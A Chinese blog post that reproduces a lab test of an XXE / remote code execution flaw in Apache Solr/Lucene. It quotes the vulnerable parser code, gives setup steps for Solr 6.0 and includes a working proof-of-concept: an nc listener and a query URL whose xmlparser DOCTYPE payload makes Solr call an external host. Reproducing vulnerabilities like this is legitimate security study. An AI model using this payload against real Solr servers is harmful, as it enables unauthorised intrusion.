Apache Solr/Lucene 0Day远程代码执行漏洞复现

来源:互联网 发布:ssh连接不上linux主机 编辑:程序博客网 时间:2024/06/05 07:54

最近发现网络上Apache Solr/Lucene 存在远程代码执行漏洞,现进行复现。


1.存在位置

根据漏洞详细报告,在/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java

static Document parseXML(InputStream pXmlFile) throws ParserException {    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();    DocumentBuilder db = null;    try {      db = dbf.newDocumentBuilder();    }    catch (Exception se) {      throw new ParserException("XML Parser configuration error", se);    }    org.w3c.dom.Document doc = null;    try {      doc = db.parse(pXmlFile);    }

可以调用xmlparser解释器访问远程url数据,攻击者可以利用其执行任意代码。

2.环境搭建

实验使用:
- Apache Solr 6.0(之前尝试6.6版本未成功)
- Windows 7

1.下载solr

  • http://archive.apache.org/dist/lucene/solr/6.0.0/
  • 在本地解压

2.启动solr

cd binsolr start

访问:
http://localhost:8983/solr/#/
页面正常显示数据即成功

3. 新建core(命名为“test”)

solr stop -allsolr -e test

成功后进入

http://localhost:8983/solr/#/

我们在core admin中就可以看到创建的test

3.漏洞复现

1.启动nc 监听4444端口

nc -lvp 4444

2.访问

http://localhost:8983/solr/test/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:4444/executed"><a></a>'}

3.nc中可以看到solr访问4444端口即证明漏洞存在

这里写图片描述

参考:
http://lucene.472066.n3.nabble.com/Re-Several-critical-vulnerabilities-discovered-in-Apache-Solr-XXE-amp-RCE-td4358308.html

阅读全文
0 0